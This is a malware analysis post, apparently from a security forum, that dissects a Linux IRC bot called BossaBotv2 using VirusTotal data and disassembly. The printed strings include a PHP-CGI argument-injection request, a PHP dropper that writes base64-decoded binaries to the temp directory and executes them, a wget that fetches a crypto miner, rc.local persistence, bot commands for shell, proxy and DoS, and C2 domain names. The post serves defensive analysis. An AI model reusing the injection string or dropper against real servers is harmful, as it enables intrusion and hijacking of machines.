BossaBotv2 binary spotted by @malekal_morte at VT (with thanks+credits),
VT detection 4/55 (7%) 2014-09-20 10:49:16 →
https://www.virustotal.com/en/file/5fa0 ... 411227822/
File type:
Code: Select all./OIOIU74ux: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
Packed:
Code: Select all00B0 5E 95 39 C1 55 50 58 21 E0 07 0D 16 00 00 00 00 ^.9.UPX!........
00C0 D8 B2 00 00 D8 B2 00 00 00 02 00 00 B1 00 00 00 ................
00D0 02 00 00 00 FB FB 21 FF 7F 45 4C 46 02 01 01 00 ......!..ELF....
Below is the verdicts of this sample, I go to the highlights only:
First dependancy for x64:
Code: Select all '/lib64/ld-linux-x86-64.so.2'
'libpthread.so.0'
'libc.so.6'
It launched the RFI attack to old PHP, hard coded in the binary:
Code: Select all.rodata:0x0408540 aPostS?2d64616c
.rodata:0x0408540 db 'POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E'
.rodata:0x0408540 db '%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6'
.rodata:0x0408540 db 'D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%'
.rodata:0x0408540 db '6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%'
.rodata:0x0408540 db '64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%'
.rodata:0x0408540 db '6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%'
.rodata:0x0408540 db '%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70'
.rodata:0x0408540 db '%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%'
.rodata:0x0408540 db '%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72'
.rodata:0x0408540 db '%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%6'
.rodata:0x0408540 db '3%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74'
.rodata:0x0408540 db '%%75%%73%%5F%%65%%6E%%76%%3D%%22%%79%%65%%73%%22+%%2D%%64+%%63%%6'
.rodata:0x0408540 db '7%%69%%2E%%66%%69%%78%%5F%%70%%61%%74%%68%%69%%6E%%66%%6F%%3D%%31'
.rodata:0x0408540 db '+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%6'
.rodata:0x0408540 db '6%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2'
.rodata:0x0408540 db 'D%%6E HTTP/1.1',0Dh,0Ah
Below is the dropper script to be injected on success attack, also hard coded:
Code: Select all.rodata:0x0408540 db 'Host: %s',0Dh,0Ah
.rodata:0x0408540 db 'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 '
.rodata:0x0408540 db 'Firefox/31.0',0Dh,0Ah
.rodata:0x0408540 db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah
.rodata:0x0408540 db 'Content-Length: %d',0Dh,0Ah
.rodata:0x0408540 db 'Connection: close',0Dh,0Ah
.rodata:0x0408540 db 0Dh,0Ah
.rodata:0x0408540 db '%s',0
.rodata:0x04089D5 align 8
.rodata:0x04089D8 a?phpBufferfSBu
.rodata:0x04089D8 db '<?php',0Ah ;
.rodata:0x04089D8 db '$bufferf = ',27h,'%s',27h,';',0Ah
.rodata:0x04089D8 db '$bufferf2 = ',27h,'%s',27h,';',0Ah
.rodata:0x04089D8 db '$Vdkqrxiiyr3t = sys_get_temp_dir();',0Ah
.rodata:0x04089D8 db '$Vgxl4ifsipo5 = getcwd();',0Ah
.rodata:0x04089D8 db '$Vos03apkyec1 = "OIOIU74u";',0Ah
.rodata:0x04089D8 db '$Vos03apkyec2 = "OIOIU74ux";',0Ah
.rodata:0x04089D8 db '$V5lgt4awdv3b = "chmod 777";',0Ah
.rodata:0x04089D8 db 'if (file_exists($Vdkqrxiiyr3t . "/$Vos03apkyec2"))',0Ah
.rodata:0x04089D8 db '{',0Ah
.rodata:0x04089D8 db 'exit(1);',0Ah
.rodata:0x04089D8 db '}else{',0Ah
.rodata:0x04089D8 db 'echo($Vdkqrxiiyr3t);',0Ah
.rodata:0x04089D8 db '$bufferf = base64_decode($bufferf);',0Ah
.rodata:0x04089D8 db '$bufferf2 = base64_decode($bufferf2);',0Ah
.rodata:0x04089D8 db 'file_put_contents("$Vdkqrxiiyr3t/$Vos03apkyec1", $bufferf);',0Ah
.rodata:0x04089D8 db 'file_put_contents("$Vdkqrxiiyr3t/$Vos03apkyec2", $bufferf2);',0Ah
.rodata:0x04089D8 db 'chmod ($Vdkqrxiiyr3t."/".$Vos03apkyec1,0777);',0Ah
.rodata:0x04089D8 db 'system("$V5lgt4awdv3b " . $Vdkqrxiiyr3t ."/$Vos03apkyec1");',0Ah
.rodata:0x04089D8 db 'chmod ($Vdkqrxiiyr3t."/".$Vos03apkyec2,0777);',0Ah
.rodata:0x04089D8 db 'system("$V5lgt4awdv3b " . $Vdkqrxiiyr3t ."/$Vos03apkyec2");',0Ah
.rodata:0x04089D8 db 'system($Vdkqrxiiyr3t . "/$Vos03apkyec2");',0Ah
.rodata:0x04089D8 db 'system($Vdkqrxiiyr3t . "/$Vos03apkyec1");',0Ah
.rodata:0x04089D8 db 'exit(1);',0Ah
.rodata:0x04089D8 db '}',0Ah
.rodata:0x04089D8 db '?>',0Ah,0
.rodata:0x0408CE9 align 10h
together with the RFI will resulted the RFI attack as per example recorded here:
http://pastebin.com/raw.php?i=KUTT2UQa
Autostart:
Code: Select all.text:0x04063DE mov rdi, r12
.text:0x04063E1 mov r13d, offset aEtcInit_dRc_lo ; "/etc/init.d/rc.local"
.text:0x04063E7 call _fclose
.text:0x04063EC mov rdi, rbx
.text:0x04063EF call _fclose
.text:0x04063F4 mov esi, offset aR ; "r"
.text:0x04063F9 mov rdi, r13
.text:0x04063FC call _fopen
:
.text:0x0406480 mov esi, offset aSS ; "\"%s%s\"\n"
.text:0x0406485 xor eax, eax
.text:0x0406487 xor r14d, r14d
.text:0x040648A mov rdi, rbx
.text:0x040648D call _sprintf
Drops:
Code: Select all.rodata:0x04092D5 filename db '/tmp/OIOIU74u.pl',0
.rodata:0x04092E6 aTmpOioiu74ux_p db '/tmp/OIOIU74ux.pl',0
.rodata:0x0409399 aVpackage_pw db 'vpackage.pw' ;; template for transmitting comm
Current version Bot commands:
Code: Select all.rodata:0x04094C3 a352 db '352',0
.rodata:0x04094C7 a376 db '376',0
.rodata:0x04094CB a433 db '433',0
.rodata:0x04094CF a422 db '422',0
.rodata:0x04094D3 aPrivmsg db 'PRIVMSG',0
.rodata:0x04094DB aPing db 'PING',0
.rodata:0x04094E0 aNick db 'NICK',0
.rodata:0x04094E5 aTopic db 'TOPIC',0
.rodata:0x04094EB aUpdate db 'UPDATE',0
.rodata:0x04094F2 aUnknown db 'UNKNOWN',0
.rodata:0x04094FA aServer db 'SERVER',0
.rodata:0x0409501 aVersion db 'VERSION',0
.rodata:0x0409509 aScanrnd db 'SCANRND',0
.rodata:0x0409511 aScansuba db 'SCANSUBA',0
.rodata:0x040951A aScansubb db 'SCANSUBB',0
.rodata:0x0409523 aScansubc db 'SCANSUBC',0
.rodata:0x040952C aMove db 'MOVE',0
.rodata:0x0409531 aShell db 'SHELL',0
.rodata:0x0409537 aProxy db 'PROXY',0
.rodata:0x040953D aSocks5 db 'SOCKS5',0
.rodata:0x0409544 aSocksrota db 'SOCKSROTA',0
.rodata:0x040954E aMiner db 'MINER',0
DATA PROTOCOL...ESMTP/ SMTP??
Code: Select all.rodata:0x040938F aEhlo db 'EHLO',0
.rodata:0x0409394 aHelo db 'HELO',0
vpackage.pw transfer codes:
Code: Select all.text:0x0405BAE movsx rcx, byte ptr [r8]
.text:0x0405BB2 mov esi, offset aHelo ; "HELO"
.text:0x0405BB7 mov edi, offset aSSS ; "%s %s%s"
.text:0x0405BBC cmp dword ptr [rdx+rcx*4], 45h
.text:0x0405BC0 mov edx, offset aEhlo ; "EHLO"
.text:0x0405BC5 mov rcx, rax
.text:0x0405BC8 cmovz rsi, rdx
.text:0x0405BCC mov edx, offset aVpackage_pw ; "vpackage.pw"
.text:0x0405BD1 xor eax, eax
.text:0x0405BD3 call sub_402FA0
.text:0x0405BD8 mov rdi, cs:stderr ; stream
.text:0x0405BDF mov [rsp+5C8h+s], rax
.text:0x0405BE4 call _fflush
.text:0x0405BE9 mov rdi, [rsp+5C8h+s] ; s
.text:0x0405BEE call _strlen
.text:0x0405BF3 mov rsi, [rsp+5C8h+s] ; buf
.text:0x0405BF8 mov edi, [rsp+5C8h+var_584] ; fd
.text:0x0405BFC mov rdx, rax ; n
.text:0x0405BFF call _write
.text:0x0405C04 cmp eax, 0FFFFFFFFh
.text:0x0405C07 jnz 0x0405A3C
DoS HTTP header's pattern..many more actually..skipped..
Code: Select all.text:0x0407B6F lea rcx, [rsp+3818h+dest]
.text:0x0407B77 lea rdx, [rsp+3818h+var_608]
.text:0x0407B7F mov esi, offset aGetSHttp1_0Hos ; "GET %s HTTP/1.0\r\nHost: %s\r\nConnection: "...
.text:0x0407B84 mov rdi, r12 ; s
.text:0x0407B87 xor eax, eax
.text:0x0407B89 call _sprintf
:
.text:0x0407D1C mov esi, offset aGetSHttp1_0H_0 ; "GET %s HTTP/1.0\r\nHost: %s\r\nIf-Modified-"...
.text:0x0407D21 mov rdi, r12 ; s
.text:0x0407D24 xor eax, eax
minerd...they just can't get rid of these functions..to hack and cultivate..
Code: Select all.rodata:0x0408108 command db 'pkill minerd ; pkill m32 ; pkill m64',0
.rodata:0x040812D align 10h
.rodata:0x0408130 ; char aWgetQTenet_dl_[]
.rodata:0x0408130 aWgetQTenet_dl_ db 'wget -q tenet.dl.sourceforge.net/project/cpuminer/pooler-cpuminer'
.rodata:0x0408130 db '-2.4-linux-x86.tar.gz -P /tmp',0
.rodata:0x0408190 ; char aTarZxfTmpPoole[]
.rodata:0x0408190 aTarZxfTmpPoole db 'tar -zxf /tmp/pooler-cpuminer-2.4-linux-x86.tar.gz -C /tmp',0
.rodata:0x04081CB align 10h
.rodata:0x04081D0 aNoticeSBtcCpuM db 'NOTICE %s :BTC CPU Miner Running For %s:%s with User %s:%s ',0Ah,0
/* daemonized comm, domain conn via socks5 */
Code: Select all.text:0x04069BB xor esi, esi ; // noclose
.text:0x04069BD mov edi, 1 ; // nochdir
.text:0x04069C2 call _daemon ; // daemonized procedure
:
.text:0x04069C7 xor edx, edx
.text:0x04069C9 mov esi, 1 ; // type
.text:0x04069CE mov edi, 2 ; // domain
.text:0x04069D3 call _socket ; // call socket
.text:0x04069D8 test eax, eax ; // exec
.text:0x04069DA mov ebp, eax
.text:0x04069DC js 0x0406B70 ; // JUMP
:
.text:0x04069E2 lea rbx, [rsp+88h+optval] // start to load domain arguements...
.text:0x04069E7 mov r8d, 10h ; // optlen
.text:0x04069ED mov edx, 15h ; // optname
.text:0x04069F2 mov esi, 1 ; // level
.text:0x04069F7 mov edi, eax ; // fd
.text:0x04069F9 mov [rsp+88h+optval], // 1Eh
.text:0x0406A02 mov rcx, rbx ; // optval
.text:0x0406A05 mov [rsp+88h+var_70], // = 0
.text:0x0406A0E call _setsockopt ; // setting sock option
.text:0x0406A13 mov r8d, 10h ; // optlen
.text:0x0406A19 mov rcx, rbx ; // optval
.text:0x0406A1C mov edx, 14h ; // optname
.text:0x0406A21 mov esi, 1 ; // level
.text:0x0406A26 mov edi, ebp ; // fd
.text:0x0406A28 call _setsockopt ; // setting sock option
.text:0x0406A2D lea rsi, [rsp+88h+addr] // addr
.text:0x0406A32 xor eax, eax ; // clean EAX
.text:0x0406A34 mov ecx, 4
.text:0x0406A39 mov edx, 10h ; //call interrupt
.text:0x0406A3E mov rdi, rsi
.text:0x0406A41 rep stosd ; // Store String
.text:0x0406A43 mov edi, ebp ; fd
.text:0x0406A45 mov [rsp+88h+addr.sa_family], 2
.text:0x0406A4C mov word ptr [rsp+88h+addr.sa_data], 0D007h
.text:0x0406A53 call _bind ; // bind
.text:0x0406A58 test eax, eax ; // exec condition
.text:0x0406A5A js 0x0406B5A ; //JUMP
:
.text:0x0406A60 mov esi, 80h ; n
.text:0x0406A65 mov edi, ebp ; fd
.text:0x0406A67 call _listen ; // listening start...
.text:0x0406A6C test eax, eax ; // exec
.text:0x0406A6E js 0x0406B5A ; // JUMP
:
.text:0x0406A74 mov rdx, cs:qword_60BB20
.text:0x0406A7B mov edi, cs:fd
.text:0x0406A81 mov ecx, 7D0h
.text:0x0406A86 mov esi, offset aNoticeSTfTc_19 ; "NOTICE %s :SOCKS5SERVERR"...
.text:0x0406A8B xor eax, eax ; // cleaning EAX
.text:0x0406A8D lea r12, [rsp+88h+var_68] // asssembling strings
.text:0x0406A92 lea r13, [rsp+88h+addr_len]
.text:0x0406A97 lea r14, [rsp+88h+var_40]
.text:0x0406A9C lea r15, [rsp+88h+newthread]
.text:0x0406AA1 call sub_403540 ; // strings operation..
.text:0x0406AA6 mov rdi, cs:stdout ; stream
.text:0x0406AAD call _fflush ; // sig flush..
.text:0x0406AB2 nop word ptr [rax+rax+00h] ; // NOOP
:
.text:0x0406AD2
.text:0x0406AD2 loc_406AD2: ; // addr_len
.text:0x0406AD2 mov rdx, r13
.text:0x0406AD5 mov rsi, r12 ; // addr
.text:0x0406AD8 mov edi, ebp ; // fd, file descriptor..
.text:0x0406ADA call _accept ; // accpting..
.text:0x0406ADF cmp eax, 0 ; // Compare EAX to 0
.text:0x0406AE2 mov ebx, eax
.text:0x0406AE4 jl short loc_406AC8 ; // JUMPif Less (
:
.text:0x0406AE8 mov r8d, 4 ; // optlen
.text:0x0406AEE mov rcx, r14 ; // optval
.text:0x0406AF1 mov edx, 2 ; // optname
.text:0x0406AF6 mov esi, 1 ; // level
.text:0x0406AFB mov edi, eax ; // fd
.text:0x0406AFD mov [rsp+88h+var_40], // = 1
.text:0x0406B05 call _setsockopt ; // Call socket option
.text:0x0406B0A mov esi, 1 ; // size
.text:0x0406B0F mov edi, 430h ; // nmemb
.text:0x0406B14 call _calloc ; // call memory location
.text:0x0406B19 mov rcx, rax
.text:0x0406B1C mov [rax], ebx
.text:0x0406B1E mov rax, [rsp+88h+var_68]
.text:0x0406B23 mov rdi, cs:stdout ; stream
.text:0x0406B2A mov [rcx+0Ch], rax
.text:0x0406B2E mov rax, [rsp+88h+var_60]
.text:0x0406B33 mov [rcx+14h], rax
.text:0x0406B37 mov [rsp+88h+arg], rcx
.text:0x0406B3C call _fflush ; // do teh flush...
.text:0x0406B41 mov rcx, [rsp+88h+arg] ; // arg
.text:0x0406B46 mov edx, offset sub_407330 ; // start_routine
.text:0x0406B4B xor esi, esi ; // attr
.text:0x0406B4D mov rdi, r15 ; // newthread
.text:0x0406B50 call _pthread_create ; // start thread..
.text:0x0406B55 jmp 0x0406AB8 ; // JUMP
IRCd servers CNC:
Code: Select allsrv5050.co ka3ek.com ircqfrum.com 8rb.su